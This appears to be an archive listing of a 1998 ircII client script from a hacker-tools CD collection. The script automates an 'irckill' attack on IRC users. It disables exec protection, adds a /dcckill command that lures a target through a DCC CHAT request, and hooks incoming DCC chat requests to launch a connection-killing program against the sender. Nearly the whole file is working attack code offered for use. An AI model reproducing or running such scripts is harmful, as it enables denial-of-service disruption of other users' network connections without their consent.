home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / irckill / irckill.irc < prev    next >
Encoding:
Text File  |  1998-08-13  |  768 b   |  35 lines

  1. # w00w00!
  2. # this is a script to use the irc killing socket apps i made
  3. # change mylong to the u_long that ircii sends when it sends
  4. # a dcc chat request                                   - nyt
  5.  
  6. ^set exec_protection off
  7.  
  8. @ KILLCONN = [irckill/irconn]
  9. @ KILLACC = [irckill/ircacc]
  10. @ MYLONG = [My IP in network long] # example is 3260545834
  11.  
  12. ^alias leftof @ function_return = [$left($index($0 $1-) $1-)]
  13.  
  14. ^alias dcckill {
  15.     if ([$0])
  16.     {
  17.         @ KILLPORT = rand(65535-1024)+1025
  18.         exec $KILLACC $KILLPORT
  19.         ctcp $0 DCC CHAT chat $MYLONG $KILLPORT
  20.         echo *** killing $0
  21.     }
  22.     {
  23.         echo *** usage /dcckill USER
  24.     }
  25. }
  26. ^on ^raw_irc "% PRIVMSG % :DCC CHAT chat % %" {
  27.     echo *** killing $0
  28.     if ([$index( $7)]==[-1])
  29.     {
  30.         exec $KILLCONN $6 $7
  31.     }{
  32.         exec $KILLCONN $6 $leftof( $7)
  33.     }
  34. }
  35.